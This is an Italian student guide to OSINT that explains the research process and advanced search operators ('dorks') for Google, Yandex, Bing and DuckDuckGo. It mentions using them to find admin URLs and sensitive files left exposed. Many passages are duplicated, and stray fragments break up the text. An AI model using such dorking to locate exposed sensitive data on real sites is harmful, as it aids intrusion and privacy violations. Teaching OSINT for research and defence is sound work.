Quando ci immergiamo nell'OSINT, diventiamo dei veri e propri detective digitali. Sfogliamo pagine di social media, blog, forum e registri pubblici. Persino le immagini, i video e le mappe diventano fonti vitali. L'OSINT è democratico: accessibile a chiunque possieda una connessione Internet e la capacità di collegare insieme i pezzi del puzzle informativo.

Ma perché dovresti preoccuparti di padroneggiare l'OSINT, specie se sei studente? Be', l'abilità di catturare informazioni preziose dal mare del web può essere utile in tantissimi campi, dalla sicurezza informatica al giornalismo investigativo, fino al marketing e oltre. In pratica, qualsiasi professione che richieda ricerche approfondite e l'analisi di dati può beneficiare dell'OSINT.

Nel contesto della sicurezza informatica, l'OSINT diventa uno strumento per identificare potenziali minacce o per analizzare un attaccante dopo un incidente. Per i giornalisti o gli investigatori, è il mezzo per scoprire informazioni cruciali o per collegare insieme indizi che potrebbero sfuggire a un'occhiata superficiale.

L'uso etico dell'OSINT è essenziale. Sì, i dati sono tutti là fuori, ma ciò non significa che andar a ravanare nel privato altrui sia sempre giustificato o legale. Una comprensione profonda dell'etica e della normativa è cruciale per navigare in questo campo senza superare i confini del lecito.

Un altro punto chiave dell'OSINT riguarda la sua natura misconosciuta. Quante volte abbiamo accettato senza pensarci termini e condizioni che potrebbero aver esposto informazioni personali? L'OSINT aiuta a prendere coscienza di quanta informazione personale è effettivamente disponibile pubblicamente, spesso senza che ce ne rendiamo conto.

Trovare i dati è solo il primo passo. Ciò che veramente conta è la capacità di analizzare e interpretare le informazioni in modo critico per trarne delle conclusioni. Altrimenti, avrete solo un mucchio di dati disconnessi. L'OSINT vi insegna a vedere non solo i pezzi del puzzle, ma anche la figura complessiva che essi compongono.

Una delle più grandi sfide dell'OSINT riguarda la valutazione della credibilità e autenticità delle informazioni. Con l'avvento di fake news e disinformazione, diventa ancora più importante sviluppare un occhio esperto per distinguere il vero dal falso.

Le fonti per l'OSINT sono infinite. Siti di notizie, database governativi, report finanziari, registri giudiziari, brevetti, white papers, social network e molto altro ancora. La chiave è sapere come cercare e filtrare attraverso la valanga di informazioni per trovare ciò che è rilevante.

Stiamo per addentrarci nell'era dei big data, dove quotidianamente vengono generate quantità abbondanti di dati. L'OSINT ci mette in una posizione privilegiata per approfittare di questa ondata informativa, con l'abilità di navigarla anziché esserne sommersi.

Parlare di OSINT senza menzionare gli strumenti sarebbe come cercare di dipingere un quadro senza pennelli. Il mercato offre un'infinità di software e piattaforme, ciascuno con lo scopo di rendere più efficiente e accurata la raccolta e analisi dei dati OSINT.

Certo, apprendere l'OSINT richiede impegno e dedizione. Non basta un semplice interesse passivo; è necessario immergersi nelle tecniche, negli strumenti e nelle metodologie. E mentre il viaggio può essere impegnativo, i frutti che potrete cogliere ne saranno la ricompensa.

In conclusione, l'OSINT è molto più di una serie di tecniche di ricerca – è un mindset, un modo sistematico di pensare e procedere nell'era dell'informazione. Nel prosieguo di questa guida, affineremo le vostre capacità di pensiero critico, vi insegneremo a eludere i bias umani e vi forniremo una bussola per orientarvi nel vasto oceano di dati disponibili pubblicamente, affinché possiate estrarne informazioni pregiate e conoscenza che conta.

Ora che abbiamo compreso cos'è l'OSINT e l'importanza di utilizzarlo in maniera consapevole ed etica, siamo pronti a tuffarci nel suo mondo, a partire dalla ricerca e analisi che esamineremo nel prossimo capitolo. Tieni a mente che ogni frammento di informazione può essere il tassello mancante di un puzzle più grande; sta a te raccoglierlo e posizionarlo al posto giusto.

o

i

è

e

e

Le fonti per l'OSINT sono infinite. Siti di notizie, database governativi, report finanziari, registri giudiziari, brevetti, white papers, social network e molto altro ancora. La chiave è sapere come cercare e filtrare attraverso la valanga di informazioni per trovare ciò che è rilevante.

Stiamo per addentrarci nell'era dei big data, dove quotidianamente vengono generate quantità abbondanti di dati. L'OSINT ci mette in una posizione privilegiata per approfittare di questa ondata informativa, con l'abilità di navigarla anziché esserne sommersi.

Parlare di OSINT senza menzionare gli strumenti sarebbe come cercare di dipingere un quadro senza pennelli. Il mercato offre un'infinità di software e piattaforme, ciascuno con lo scopo di rendere più efficiente e accurata la raccolta e analisi dei dati OSINT.

Certo, apprendere l'OSINT richiede impegno e dedizione. Non basta un semplice interesse passivo; è necessario immergersi nelle tecniche, negli strumenti e nelle metodologie. E mentre il viaggio può essere impegnativo, i frutti che potrete cogliere ne saranno la ricompensa.

In conclusione, l'OSINT è molto più di una serie di tecniche di ricerca – è un mindset, un modo sistematico di pensare e procedere nell'era dell'informazione. Nel prosieguo di questa guida, affineremo le vostre capacità di pensiero critico, vi insegneremo a eludere i bias umani e vi forniremo una bussola per orientarvi nel vasto oceano di dati disponibili pubblicamente, affinché possiate estrarne informazioni pregiate e conoscenza che conta.

Ora che abbiamo compreso cos'è l'OSINT e l'importanza di utilizzarlo in maniera consapevole ed etica, siamo pronti a tuffarci nel suo mondo, a partire dalla ricerca e analisi che esamineremo nel prossimo capitolo. Tieni a mente che ogni frammento di informazione può essere il tassello mancante di un puzzle più grande; sta a te raccoglierlo e posizionarlo al posto giusto.

IL PROCESSO DI RICERCA E ANALISI

E ntrando nel vivo dell'OSINT, è essenziale comprendere che ogni ricerca inizia con un approccio metodico. Si parte dalle domande chiave: chi, cosa, quando, dove e perché. Il nostro obiettivo è scoprire informazioni che si nascondono alla vista di tutti, utilizzando i mezzi disponibili su Internet in modo intelligente ed efficace.

Il primo passo è definire l'obiettivo della nostra ricerca. Chiediamoci:

Quali informazioni stiamo cercando? Chi è il soggetto di interesse? Queste risposte ci aiuteranno a focalizzare i nostri sforzi verso fonti di dati pertinenti e a evitare di perdere tempo prezioso in ricerche troppo generali.

Successivamente, è fondamentale concettualizzare la ricerca in termini di ampiezza e profondità. Si tratta di scegliere tra una ricerca vasta per avere una panoramica o una più mirata per dettagli specifici. Tale scelta influenzerà le fonti che esamineremo, i tool che impegneremo e le tecniche che applicheremo.

Una volta chiaro il quadro generale, giungiamo alla fase di raccolta dati. Qui il focus è su due tipi di fonti: le fonti aperte e quelle semi-aperte. Le prime sono liberamente accessibili da chiunque (per esempio, notizie, blog, archivi digitali); le seconde richiedono qualche forma di autenticazione o iscrizione (come i social media o i forum).

Le domande da porsi durante la raccolta sono semplici ma cruciali: Le informazioni sono affidabili? Presentano coerenza temporale e contestuale? La valutazione della fonte e del contenuto è vitale per la validità del nostro processo di OSINT.

Uno degli strumenti più potenti che abbiamo è il motore di ricerca. L'apprendimento dell'uso di dorks di ricerca e altri comandi avanzati può portare alla scoperta di dati nascosti e a informazioni che non si presentano immediatamente nei risultati di ricerca ordinari.

Tuttavia, non si vive di solo Google. Esplorare database specifici, archivi e directory specialistiche può essere ugualmente fruttifero. Internet è un oceano di dati, e saper navigare tra le sue correnti richiede destrezza e pazienza.

Dopo la raccolta, è il momento dell'analisi. È qui che si separa il grano dalla pula. Analizzare significa connettere i punti, identificare pattern e

fare inferenze logiche. È un lavoro meticoloso che richiede concentrazione e una buona dose di pensiero critico.

Un altro aspetto fondamentale del processo di analisi è la verifica incrociata delle informazioni. Se un dato emerge da più fonti indipendenti, è più probabile che sia affidabile. Ma attenzione

non è una regola senza eccezioni. Anche le informazioni diffuse possono essere fuorvianti o errate.

Quando le informazioni sono particolarmente delicate o cruciali, bisogna approfondire con tecniche di corroborazione. Significa cercare prove concrete o testimonianze dirette che supportino le deduzioni fatte. Questo processo può includere interviste, studi su documenti ufficiali e una minuziosa verifica delle fonti.

La documentazione è un altro passo critico. Man mano che procediamo, è vitale annotare ogni scoperta, tracciare la catena di custodia delle informazioni e preparare una reportistica chiara. La memoria è fallibile. Registri accurati diventano nostri alleati per ripercorrere i passaggi successivamente o per condividere le scoperte con gli altri.

Naturalmente, alla ricerca segue la condivisione etica dei risultati. L'OSINT ha un forte legame con la privacy e l'eticità: dobbiamo essere consapevoli di cosa può e non può essere divulgato e in che modo. La protezione dei dati personali e il rispetto delle leggi sono imprescindibili.

Infine, il processo di ricerca e analisi in OSINT non termina mai veramente. Ogni nuova informazione può aprirci le porte a nuove ricerche. È un ciclo che si alimenta di curiosità, abilità e conoscenza costantemente aggiornate.

Questo ciclo incessante di ricerca, analisi e apprendimento è il motore che spinge l'OSINT. Grazie a questo, possiamo scavare in profondità in rete e portare alla luce informazioni inimmaginabili. E così, siamo pronti a navigare in questo mare sconfinato di dati, con gli strumenti giusti e la mentalità adatta per scoprire i segreti che si celano nel mondo digitale.

non è una regola senza eccezioni. Anche le informazioni diffuse possono essere fuorvianti o errate.

Quando le informazioni sono particolarmente delicate o cruciali, bisogna approfondire con tecniche di corroborazione. Significa cercare prove concrete o testimonianze dirette che supportino le deduzioni fatte. Questo processo può includere interviste, studi su documenti ufficiali e una minuziosa verifica delle fonti.

La documentazione è un altro passo critico. Man mano che procediamo, è vitale annotare ogni scoperta, tracciare la catena di custodia delle informazioni e preparare una reportistica chiara. La memoria è fallibile. Registri accurati diventano nostri alleati per ripercorrere i passaggi successivamente o per condividere le scoperte con gli altri.

Naturalmente, alla ricerca segue la condivisione etica dei risultati. L'OSINT ha un forte legame con la privacy e l'eticità: dobbiamo essere consapevoli di cosa può e non può essere divulgato e in che modo. La protezione dei dati personali e il rispetto delle leggi sono imprescindibili.

Infine, il processo di ricerca e analisi in OSINT non termina mai veramente. Ogni nuova informazione può aprirci le porte a nuove ricerche. È un ciclo che si alimenta di curiosità, abilità e conoscenza costantemente aggiornate.

Questo ciclo incessante di ricerca, analisi e apprendimento è il motore che spinge l'OSINT. Grazie a questo, possiamo scavare in profondità in rete e portare alla luce informazioni inimmaginabili. E così, siamo pronti a navigare in questo mare sconfinato di dati, con gli strumenti giusti e la mentalità adatta per scoprire i segreti che si celano nel mondo digitale.

Capitolo 3: Motori di Ricerca Avanzati e Dorks

Continuando il viaggio nell'affascinante mondo dell'OSINT, ci addentriamo ora nei meandri dei motori di ricerca avanzati e dell'uso dei dorks, strumenti che fanno la differenza quando si tratta di scavare a fondo per scovare informazioni che altrimenti rimarrebbero sommerse nel web. Sei pronto a scoprire come comandi apparentemente semplici possano trasformarsi in chiavi potentissime per aprire le porte dell'informazione nascosta? Magari non lo sai, ma esiste tutta una serie di tecniche particolari per raffinare le ricerche e arrivare proprio a quel dato che ti serve. Non parleremo ora di Google Dorks, Yandex Dorks, e così via: di questo ci occuperemo in dettaglio nelle prossime sezioni. Il focus adesso è comprendere la portata di ciò che vi attende: un arsenale di query e filtri che vi consentiranno di muovervi con disinvoltura nel vasto oceano di dati che è Internet. Basta una giusta combinazione di termini di ricerca e operatori logici, e il gioco è fatto: sarai sorpreso di quanto sia immediato colmare le lacune di informazione di qualsiasi indagine digitale ti trovi a condurre.

Capitolo 3: Motori di Ricerca Avanzati e Dorks

Continuando il viaggio nell'affascinante mondo dell'OSINT, ci addentriamo ora nei meandri dei motori di ricerca avanzati e dell'uso dei dorks, strumenti che fanno la differenza quando si tratta di scavare a fondo per scovare informazioni che altrimenti rimarrebbero sommerse nel web. Sei pronto a scoprire come comandi apparentemente semplici possano trasformarsi in chiavi potentissime per aprire le porte dell'informazione nascosta? Magari non lo sai, ma esiste tutta una serie di tecniche particolari per raffinare le ricerche e arrivare proprio a quel dato che ti serve. Non parleremo ora di Google Dorks, Yandex Dorks, e così via: di questo ci occuperemo in dettaglio nelle prossime sezioni. Il focus adesso è comprendere la portata di ciò che vi attende: un arsenale di query e filtri che vi consentiranno di muovervi con disinvoltura nel vasto oceano di dati che è Internet. Basta una giusta combinazione di termini di ricerca e operatori logici, e il gioco è fatto: sarai sorpreso di quanto sia immediato colmare le lacune di informazione di qualsiasi indagine digitale ti trovi a condurre.

GOOGLE DORKS

Hai mai sentito parlare dei Google Dorks? Non sono altri che operatori di ricerca che possiamo usare per estrarre informazioni specifiche sui siti web direttamente attraverso Google. Spesso non ci rendiamo conto di quanto potente e dettagliata possa essere una ricerca su Google se usiamo gli strumenti giusti.

I Google Dorks possono aiutarci a trovare pagine, file, informazioni sensibili che, forse, non dovrebbero nemmeno essere accessibili al pubblico. Sviluppatori e webmaster, a volte per disattenzione, possono lasciare esposte queste informazioni erroneamente a chi sa dove cercare.

Prima di addentrarci nell'argomento, è importante sottolineare un principio fondamentale: l'uso dei Google Dorks deve essere fatto con responsabilità. Dove c'è potenza, c'è anche la possibilità di abuso, ma da bravi studenti del mondo OSINT e dell'ingegneria sociale, il nostro scopo è imparare per fare informazione e non per causare danni.

Uno dei dorks più conosciuti è *site:*, che consente di restringere la ricerca a un dominio specifico. Se siete alla ricerca di informazioni contenute in un certo sito, sarebbe sufficiente anteporre *site:nomedelsito.com* alla query di ricerca.

Ma andiamo più in profondità con altri dorks utili. Per esempio, *filetype:* permette di cercare file di un certo tipo. Se stai cercando documenti PDF su un argomento specifico, basterà digitare *argomento filetype:pdf*. Sorprendentemente semplice, ma incredibilmente potente!

C'è poi *intitle:* o *allintitle:*, utili per trovare pagine che contengono una o più parole chiave specifiche nel titolo. Per esempio, per trovare siti che hanno "privacy policy" nel titolo, potresti usare *intitle:"privacy policy"*.

Non dimentichiamo *inurl:* e *allinurl:*. Questi permettono di cercare parole chiave all'interno dell'URL delle pagine. Se sei alla ricerca di pagine che contengono "admin" nel loro URL, potresti digitare *inurl:admin*.

E se vogliamo trovare pagine che contengono testo specifico? Potremmo usare *intext:* o *allintext:*, che saranno i nostri alleati per trovare pagine con testo specifico. Per esempio, cercare pagine che discutono di "sicurezza informatica" potrebbe essere così facile quanto digitare *intext:"sicurezza informatica"*.

Per gli smanettoni dell'informatica e della sicurezza, esistono anche dorks più avanzati come *cache:*, *related:*, o *link:*. Questi consentono rispettivamente di trovare la versione cache di un sito, siti simili a quello inserito, o pagine che contengono link a un certo dominio.

Ora, uniamo questi operatori. Immaginate di combinare *site:* con *filetype:* per trovare file specifici all'interno di un sito. Esatto, la potenza di questa ricerca aumenta esponenzialmente.

Ci sono interi manoscritti e riferimenti dedicati all'uso dei Google Dorks per l'OSINT. Ogni studente serio in questo campo dovrebbe diventare familiare con questi operatori di ricerca avanzata. Molte volte, i risultati ottenuti possono aprire le porte a piste investigative inaspettate.

Non solo. I Google Dorks sono spesso il primo passo per capire come migliorare la sicurezza del proprio sito. Guardando attraverso gli occhi di un possibile "attaccante" informato, si riescono a individuare e a mitigare le vulnerabilità prima che possano essere sfruttate.

Quindi cosa aspettate? Avete tutto ciò che serve per iniziare a esplorare il web come non avete mai fatto prima. Sperimentate con i diversi dorks, trovate informazioni, create connessioni, e soprattutto, affinate il vostro ingegno! Google è molto più di un semplice motore di ricerca, e ora hai le chiavi per scoperciare un mondo nascosto di informazioni.

!

e

e

Ora, uniamo questi operatori. Immaginate di combinare *site:* con *filetype:* per trovare file specifici all'interno di un sito. Esatto, la potenza di questa ricerca aumenta esponenzialmente.

Ci sono interi manoscritti e riferimenti dedicati all'uso dei Google Dorks per l'OSINT. Ogni studente serio in questo campo dovrebbe diventare familiare con questi operatori di ricerca avanzata. Molte volte, i risultati ottenuti possono aprire le porte a piste investigative inaspettate.

Non solo. I Google Dorks sono spesso il primo passo per capire come migliorare la sicurezza del proprio sito. Guardando attraverso gli occhi di un possibile "attaccante" informato, si riescono a individuare e a mitigare le vulnerabilità prima che possano essere sfruttate.

Quindi cosa aspettate? Avete tutto ciò che serve per iniziare a esplorare il web come non avete mai fatto prima. Sperimentate con i diversi dorks, trovate informazioni, create connessioni, e soprattutto, affinate il vostro ingegno! Google è molto più di un semplice motore di ricerca, e ora hai le chiavi per scoperchiare un mondo nascosto di informazioni.

YANDEX DORKS

Continuando il percorso attraverso l'OSINT e le sue tecniche, è il momento di focalizzarsi sui cosiddetti *Yandex Dorks*. Yandex è un potente motore di ricerca che, proprio come Google, offre un'ampia gamma di funzionalità per chi sa come utilizzarlo per le ricerche avanzate. L'arte del *dorking* sfrutta queste funzioni per trovare informazioni nascoste o di difficile reperibilità sul web.

Prima di addentrarci nell'argomento, facciamo un piccolo ripasso: i *dorks* sono essenzialmente delle stringhe di ricerca avanzate che includono operatori specifici. Questi operatori dicono al motore di ricerca di affinare i risultati seguendo determinati criteri o di cercare segni particolari in pagine web, file ecc.

All'interno dell'ecosistema Yandex, i dorks prendono una forma unica a causa delle peculiarità del motore di ricerca russo, che è costruito per soddisfare non solo le esigenze di chi cerca, ma anche per comprendere la lingua russa con molta precisione. Tuttavia, ciò non significa che non sia utile a livello globale.

Usare i dorks in Yandex richiede un po' di pratica e familiarità con gli operatori disponibili. Per esempio, uno dei più semplici è **site:**, il quale permette di cercare informazioni soltanto all'interno di un determinato sito web.

Se si sta effettuando una ricerca su un dominio specifico, l'uso di **site:example.com** potrebbe portare alla luce sottodomini o directory che non si vedrebbero con una semplice ricerca su Google. Al contrario, se stai cercando di escludere un sottodominio, **site:example.com -site:subdomain.example.com** potrebbe essere prezioso.

Un altro operatore utile è " " (virgolette doppie), che serve per cercare esattamente la frase specificata. È molto pratico quando si cercano citazioni, nomi di persone o titoli specifici di articoli e pubblicazioni.

Inoltre, Yandex offre il potente operatore |, che funziona come un "OR" logico. Per esempio, una ricerca come **auto | automobile** restituisce risultati che contengono almeno una delle parole menzionate.

Ma le cose diventano particolarmente interessanti quando combiniamo gli operatori. Immagina di voler trovare pdf educativi relativi all'informatica, ma solo in italiano. Potresti usare una stringa di ricerca come **site:it filetype:pdf "informatica"**. Qui, **filetype:** restringe la ricerca a un tipo di file specifico, mentre **site:it** limita i risultati a documenti hostati su domini italiani.

Un'altra faccenda intrigante è la ricerca di intitle, per cui l'operatore **intitle:** è usato per scoprire pagine che contengano una certa parola nel titolo. Per esempio, la ricerca **intitle:"sicurezza informatica"** è una manna dal cielo per chi cerca materiale specifico su questo tema.

Non bisogna dimenticare l'importanza dell'operatore **inurl:** che permette di trovare URL che contengono una parola chiave specifica. È spesso usato dai penetration tester per scoprire punti di ingresso potenzialmente vulnerabili.

E per chi è alla ricerca di risorse multimediali? L'operatore **mime:** indica a Yandex di cercare file in base al loro tipo MIME. Per esempio, per trovare file di tipo DOC, potresti usare **mime:doc**.

Capire ed esercitarsi con questi operatori può aprire molte porte nell'ambito OSINT. Per esempio, se si sospetta che un documento sia stato pubblicato su un sito senza permesso, una combinazione degli operatori **filetype:** e **site:**, con magari l'aggiunta di una specifica query, può risultare in una ricerca efficace.

È fondamentale anche comprendere come usare **date:**, che limita la ricerca a un intervallo di date, e **lang:**, che ti permette di cercare contenuti in una lingua specifica. Potresti voler trovare post di blog in francese pubblicati nell'ultimo mese; con Yandex, questo non è un problema.

Chiudiamo con un esempio complesso: immagina di dover localizzare informazioni su eventi che hanno coinvolto una certa compagnia in un dato periodo. Una ricerca Yandex potrebbe apparire qualcosa come **site:news.com "compagnia XYZ" date:01.01.2022-31.01.2022**. Qui combiniamo diversi operatori per ottenere un risultato estremamente specifico.

Yandex Dorks è uno strumento potentissimo che, se usato con perizia, può aiutare ad attraversare la vastità dell'informazione online per trovare quel che si cerca con precisione e velocità. Per gli studenti che vogliono imparare l'OSINT e l'ingegneria sociale, comprendere e utilizzare questi operatori è indispensabile.

• Ricorda sempre di usare questi strumenti nel rispetto delle leggi vigenti.

• Non utilizzare mai le tecniche di OSINT per scopi malevoli o illegali.

• Pratica costante e un uso etico dei dorks sono la chiave per diventare esperti in OSINT.

Un'altra faccenda intrigante è la ricerca di intitle, per cui l'operatore **intitle:** è usato per scoprire pagine che contengano una certa parola nel titolo. Per esempio, la ricerca **intitle:"sicurezza informatica"** è una manna dal cielo per chi cerca materiale specifico su questo tema.

Non bisogna dimenticare l'importanza dell'operatore **inurl:** che permette di trovare URL che contengono una parola chiave specifica. È spesso usato dai penetration tester per scoprire punti di ingresso potenzialmente vulnerabili.

E per chi è alla ricerca di risorse multimediali? L'operatore **mime:** indica a Yandex di cercare file in base al loro tipo MIME. Per esempio, per trovare file di tipo DOC, potresti usare **mime:doc**.

Capire ed esercitarsi con questi operatori può aprire molte porte nell'ambito OSINT. Per esempio, se si sospetta che un documento sia stato pubblicato su un sito senza permesso, una combinazione degli operatori **filetype:** e **site:**, con magari l'aggiunta di una specifica query, può risultare in una ricerca efficace.

È fondamentale anche comprendere come usare **date:**, che limita la ricerca a un intervallo di date, e **lang:**, che ti permette di cercare contenuti in una lingua specifica. Potresti voler trovare post di blog in francese pubblicati nell'ultimo mese; con Yandex, questo non è un problema.

Chiudiamo con un esempio complesso: immagina di dover localizzare informazioni su eventi che hanno coinvolto una certa compagnia in un dato periodo. Una ricerca Yandex potrebbe apparire qualcosa come **site:news.com "compagnia XYZ" date:01.01.2022-31.01.2022**. Qui, combiniamo diversi operatori per ottenere un risultato estremamente specifico.

Yandex Dorks è uno strumento potentissimo che, se usato con perizia, può aiutare ad attraversare la vastità dell'informazione online per trovare quel che si cerca con precisione e velocità. Per gli studenti che vogliono imparare l'OSINT e l'ingegneria sociale, comprendere e utilizzare questi operatori è indispensabile.

- Ricorda sempre di usare questi strumenti nel rispetto delle leggi vigenti.
- Non utilizzare mai le tecniche di OSINT per scopi malevoli o illegali.
- Pratica costante e un uso etico dei dorks sono la chiave per diventare esperti in OSINT.

BING DORKS

Muovendoci ulteriormente nelle tecniche avanzate per sfruttare le informazioni dai motori di ricerca, concediamo a Bing il giusto risalto che merita. Bing, spesso eclissato dal gigante che è Google, presenta il proprio set di parametri di ricerca unici e capacità di “dorking” che possono essere incredibilmente utili per i ricercatori OSINT.

Come gli altri motori di ricerca, Bing consente agli utenti di effettuare ricerche avanzate con determinati operatori che affinano i risultati rendendoli più precisi e pertinenti. Questi operatori o “dorks”, sono quelli che userai per approfondire gli strati di Internet non facilmente accessibili tramite una ricerca di base.

Un operatore che potresti trovare estremamente utile è “site:”. Questo operatore limita i risultati di ricerca a un sito web o a un dominio specifico. Per esempio, se stai conducendo una ricerca su un’organizzazione particolare, potresti utilizzare questo “dork” per cercare solo le informazioni sul sito ufficiale dell’organizzazione.

Poi c’è l’operatore “**intitle:**”. Questo confina i risultati di ricerca alle pagine che contengono parole specifiche nei loro titoli. Immagina di cercare rapporti o articoli su un argomento specifico: utilizzando “intitle:” assicurerai che le pagine restituite siano focalizzate sul tuo argomento di interesse.

Cosa c’è di più? Hai “**inbody:**” e “**instreamset:**”, che ti consentono di cercare termini specifici nel testo di una pagina web o nell’URL stesso. Può essere particolarmente utile quando cerchi pagine che menzionano una particolare parola chiave o frase strettamente legata alla tua indagine OSINT.

E non dimentichiamoci di “**filetype:**”, una miniera d’oro per i ricercatori alla ricerca di documenti. Specificando un formato particolare (come .pdf, .docx o .xls), puoi scoprire una ricchezza di documenti che altrimenti sarebbero sepolti nell’infinito abisso dei contenuti web.

Tuttavia, la magia reale avviene quando inizi a combinare questi “dorks”. Le possibilità diventano quasi illimitate. C’è un’arte nel sovrapporre questi operatori in modo da perfezionare la messa a fuoco sulle informazioni di cui hai bisogno. È come creare una chiave principale che apre esattamente la porta che desideri aprire nella vasta dimora di Internet.

Bing supporta anche l’uso di “**contains:**”, un “dork” interessante. Questo potrebbe sembrare simile a “**filetype:**”, ma è un po’ più specifico. Per esempio, puoi usare “contains:pdf” per cercare tutte le pagine con link a file PDF. È particolarmente utile per individuare risorse scaricabili.

Un altro interessante operatore di Bing è “IP:”, che può essere molto utile. Cerca siti ospitati da un indirizzo IP specifico. Ciò potrebbe fornire indizi cruciali quando cerchi di stabilire collegamenti tra domini diversi o scoprire quali altri siti potrebbero essere associati al tuo indirizzo IP di destinazione.

Ricorda, però, che con il potere viene la responsabilità. Utilizza questi “dorks” eticamente ed entro i limiti della legge. Si tratta di essere un ricercatore OSINT avveduto, piuttosto che agire in modo irresponsabile e oltrepassare linee che non dovrebbero essere superate.

Se pensi che tutti i motori di ricerca restituiscano gli stessi risultati, ti aspetta una sorpresa. A causa delle differenze negli algoritmi e nell’indicizzazione, un “dork” in Bing potrebbe rivelare pagine non indicizzate da Google o viceversa. Pertanto, è fondamentale non limitarsi a un unico motore di ricerca, ma utilizzarne una varietà per gettare una rete più ampia.

Ma aspetta, ecco un consiglio da professionista: resta concentrato sul contesto. Non ogni risultato di ricerca restituito da Bing sarà rilevante per la tua indagine, motivo per cui dovrai essere scrupoloso nel valutare l’autenticità e la rilevanza delle informazioni che trovi.

Ora che sei dotato di questi “dorks” di Bing, è tempo di metterti alla prova. Si tratta di sperimentare. Crea diverse combinazioni di “dorks”, vedi cosa funziona meglio per le tue esigenze specifiche e non avere paura di sperimentare. Alla fine, svilupperai un talento, ed è in quel momento che inizierai a scoprire le informazioni che i ricercatori meno esperti potrebbero trascurare.

È anche utile menzionare che, sebbene Bing non abbia una gamma così estesa di operatori come Google, quelli che ha sono comunque potenti strumenti nel tuo arsenale OSINT. Quindi, non trascurare Bing solo perché è l’outsider nel mondo dei motori di ricerca.

In definitiva, capire come utilizzare in modo efficace i “dorks” di Bing può migliorare significativamente le tue capacità di ricerca. Dominando queste tecniche di ricerca sottili ma potenti, ti metti diversi passi avanti nel gioco OSINT.

Quindi, prendi queste intuizioni, esci e inizia a “dorkare” con Bing. Tuffati in diversi siti web scava tra pile di documenti e scopri la ricchezza di informazioni che sta solo aspettando di essere trovata. Con ogni scoperta, non stai solo trovando dati, stai componendo una narrazione che potrebbe fornire insight cruciali per la tua indagine.

Un altro interessante operatore di Bing è “**IP:**”, che può essere molto utile. Cerca siti ospitati da un indirizzo IP specifico. Ciò potrebbe fornire indizi cruciali quando cerchi di stabilire collegamenti tra domini diversi o scoprire quali altri siti potrebbero essere associati al tuo indirizzo IP di destinazione.

Ricorda, però, che con il potere viene la responsabilità. Utilizza questi “dorks” eticamente ed entro i limiti della legge. Si tratta di essere un ricercatore OSINT avveduto, piuttosto che agire in modo irresponsabile e oltrepassare linee che non dovrebbero essere superate.

Se pensi che tutti i motori di ricerca restituiscano gli stessi risultati, ti aspetta una sorpresa. A causa delle differenze negli algoritmi e nell’indicizzazione, un “dork” in Bing potrebbe rivelare pagine non indicizzate da Google o viceversa. Pertanto, è fondamentale non limitarsi a un unico motore di ricerca, ma utilizzarne una varietà per gettare una rete più ampia.

Ma aspetta, ecco un consiglio da professionista: resta concentrato sul contesto. Non ogni risultato di ricerca restituito da Bing sarà rilevante per la tua indagine, motivo per cui dovrai essere scrupoloso nel valutare l’autenticità e la rilevanza delle informazioni che trovi.

Ora che sei dotato di questi “dorks” di Bing, è tempo di metterti alla prova. Si tratta di sperimentare. Crea diverse combinazioni di “dorks”, vedi cosa funziona meglio per le tue esigenze specifiche e non avere paura di sperimentare. Alla fine, svilupperai un talento, ed è in quel momento che inizierai a scoprire le informazioni che i ricercatori meno esperti potrebbero trascurare.

È anche utile menzionare che, sebbene Bing non abbia una gamma così estesa di operatori come Google, quelli che ha sono comunque potenti strumenti nel tuo arsenale OSINT. Quindi, non trascurare Bing solo perché è l’outsider nel mondo dei motori di ricerca.

In definitiva, capire come utilizzare in modo efficace i “dorks” di Bing può migliorare significativamente le tue capacità di ricerca. Dominando queste tecniche di ricerca sottili ma potenti, ti metti diversi passi avanti nel gioco OSINT.

Quindi, prendi queste intuizioni, esci e inizia a “dorkare” con Bing. Tuffati in diversi siti web, scava tra pile di documenti e scopri la ricchezza di informazioni che sta solo aspettando di essere trovata. Con ogni scoperta, non stai solo trovando dati, stai componendo una narrazione che potrebbe fornire insight cruciali per la tua indagine.

DUCKDUCKGO DORKS

Dopo aver esaminato Google Dorks, Yandex Dorks, e Bing Dorks, spostiamo l'attenzione su un altro popolare motore di ricerca,

DuckDuckGo. A differenza degli altri motori di ricerca, DuckDuckGo si distingue per la sua forte attenzione alla privacy degli utenti. Non registra o condivide le ricerche personali, il che lo rende un'opzione favorita per molti che desiderano una protezione extra della privacy.

Sebbene il focus sulla privacy possa suggerire che DuckDuckGo non supporta le ricerche avanzate (dorks), questo non è il caso. DuckDuckGo ha infatti una serie di operatori di ricerca unici che posso e aiutare a filtrare i risultati. Questi operatori di ricerca, o "dorks", permettono di filtrare e affinare i risultati di ricerca, facilitando la scoperta di informazioni particolarmente pertinenti.

Un esempio di DuckDuckGo dorks è l'operatore "site:", identico alla funzione nelle ricerche di Google. Se vuoi cercare una determinata parola chiave solo su un determinato sito web, puoi digitare "site:esempio.com parola chiave". DuckDuckGo ti mostrerà solo i risultati di quel sito specifico.

Similmente, usare l'operatore "filetype:" ti permetterà di cercare file di un particolare tipo. Per esempio, "filetype:pdf ricerca OSINT" ti darà come risultati i pdf relativi alla ricerca OSINT.

Un altro dork utile è l'operatore "inurl:", che permette di cercare una specifica parola chiave all'interno dei URLs. Questo può essere particolarmente utile quando si cercano pagine specifiche all'interno di un sito web.

Ora, sebbene questi operatori di ricerca possano essere molto utili, è importante rammentare che DuckDuckGo non offre le stesse funzionalità di ricerca avanzata di Google. Questo significa che potrebbe non essere possibile eseguire ricerche altamente specifiche o complesse come si farebbe con Google Dorks. Ma ciò non significa che DuckDuckGo non possa essere uno strumento prezioso nella cassetta degli attrezzi di un ricercatore OSINT.

Infatti, combinando diversi operatori di ricerca, e utilizzando in modo creativo quelli a disposizione, è possibile ottenere risultati di ricerca molto specifici e mirati. L'uso efficace dei dorks può apportare un enorme valore alla tua ricerca OSINT, specialmente quando si cerca di filtrare il rumore e concentrarsi su informazioni più rilevanti.

Per esempio, se stai cercando un determinato documento PDF su un sito web specifico, potresti usare una combinazione di operatori di ricerca come "site:esempio.com filetype:pdf nome de

documento”. Questo restringerà la tua ricerca ai soli file PDF sul sito esempio.com che hanno “nome del documento” nel loro titolo o testo.

L’uso efficace dei dorks di DuckDuckGo richiede un po’ di pratica e sperimentazione. Non esiste una formula magica o un singolo metodo che funzioni per ogni situazione. La chiave sta nello sperimentare con diversi operatori e combinazioni, e vedere quali producono i risultati migliori per la tua ricerca.

